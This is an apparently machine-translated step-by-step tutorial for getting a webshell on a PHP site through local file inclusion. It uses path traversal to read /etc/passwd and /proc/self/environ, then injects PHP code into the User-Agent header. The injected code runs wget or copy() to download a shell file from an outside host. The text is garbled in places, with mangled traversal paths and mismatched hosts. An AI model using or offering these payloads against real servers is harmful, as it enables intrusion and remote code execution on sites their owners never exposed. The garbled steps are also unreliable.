LFI uses proc/self/environ to get webshell

Provide the online method:

Step 1: search for local vulnerabilities
First, find a file that may exist locally and check it.
For example: www.2cto.com/view.php? Page = contact. php
Replace it with www.2cto.com/view.php? Page = ../
We get an error
Warning: include (../) [function. include]: failed to open stream: No such file or directory in/home/sirgod/public_html/2cto.com/view.php on line 1337
The translation error information is as follows:
Warning: including (../) [function. include]: failed to open stream: there is no such file or directory in/home/sirgod/public_html/2cto.com/view. php
It indicates that there is a great opportunity, but there is no file.
Then we will check the files on the server, such as/etc/passwd in linux.
Submit url: www.2cto.com/view.php? Page = ../etc/passwd
Still:
Warning: include (../) [function. include]: failed to open stream: No such file or directory in/home/sirgod/public_html/2cto.com/view.php on line 1337
So we add the ../test layer by layer until the display ends.
Www.2cto.com/view.php? Page =.../etc/passwd
At this time, we have successfully included/etc/passwd
Root: x: 0: 0: root:/bin/bash bin: x: 1: 1: bin:/sbin/nologin daemon: x: 2: 2: daemon:/sbin/nologin adm: x: 3: 4: adm:/var/adm:/sbin/nologin lp: x: 4: 7: lp: /var/spool/lpd:/sbin/nologin sync: x: 5: 0: sync:/sbin:/bin/sync shutdown: x: 6: 0: shutdown: /sbin:/sbin/shutdown halt: x: 7: 0: halt:/sbin/halt mail: x: 8: 12: mail: /var/spool/mail:/sbin/nologin news: x: 9: 13: news:/etc/news: uucp: x: 10: 14: uucp: /var/spool/uucp:/sbin/nologin operator: x: 11: 0 perator:/root:/sbin/nologin games: x: 12: 100: games: /usr/games:/sbin/nologin test: x: 13: 30: test:/var/test:/sbin/nologin ftp: x: 14: 50: FTP User: /var/ftp:/sbin/nologin nobody: x: 99: 99: Nobody: // sbin/nologin
Step 2: Check whether proc/self/environ is accessible
 
Submit url: www.2cto.com/view.php? Page =.../proc/self/environ
If the following information is displayed:
DOCUMENT_ROOT =/home/sirgod/public_html GATEWAY_INTERFACE = CGI/1.1 HTTP_ACCEPT = text/html, application/xml; q = 0.9, application/xhtml + xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*; q = 0.1 HTTP_COOKIE = PHPSESSID = 134cc1_1b341231b9594844ac2ad7ac HTTP_HOST = www.2cto.com HTTP_REFERER = http://www.bkjia.com/index.php? View = .. /.. /.. /.. /.. /.. /etc/passwd HTTP_USER_AGENT = Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH =/bin:/usr/bin QUERY_STRING = view = .. % 2F .. % 2F .. % 2F .. % 2F .. % 2F .. % 2 Fproc % 2 Fself % 2 Fenviron REDIRECT_STATUS = 200 REMOTE_ADDR = 6x. 1xx. 4x. 1xx REMOTE_PORT = 35665 REQUEST_METHOD = GET REQUEST_URI =/index. php? View = .. % 2F .. % 2F .. % 2F .. % 2F .. % 2F .. % 2 Fproc % 2 Fself % 2 Fenviron SCRIPT_FILENAME =/home/sirgod/public_html/index. php SCRIPT_NAME =/index. php SERVER_ADDR = 1xx. 1xx. 1xx. 6x SERVER_ADMIN = webmaster@2cto.com SERVER_NAME = www.2cto.com SERVER_PORT = 80 SERVER_PROTOCOL = HTTP/1.0 SERVER_SIGNATURE =
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.2cto.com Port 80
It indicates that it can be accessed. If a blank page is returned, it indicates that it cannot be accessed, or the operating system may be FreeBSD.
Step 3: inject malicious code
How can we inject our malicious code into proc/self/environ?
We can inject our code in the user proxy HTTP header.
Use the tamper data plug-in for Firefox to change Firefox's User-Agent.Start tamper data and request URL:
　　　　
Www.2cto.com/view.php? Page =.../proc/self/environ
　　　　　
Select User-Agent to write the following code:
　　　　
<? System (wget http: // 61.164.38.24/rfi.txt-O pg5yl8. php);?> Or
<? Php copy (http: // 61.164.38.24/rfi.txt, pg5yl8. php)?>
　　　　　　　　
Then, submit the request.
　　　　
Our command will be executed (We will download http://hack-bay.com/shells/gny.txt, and save it as a token in shell.php
Website directory), and our shell will be created. If not, try to use exec (), because the system may be disabled from the php. ini network server.
Step 4: Access our shell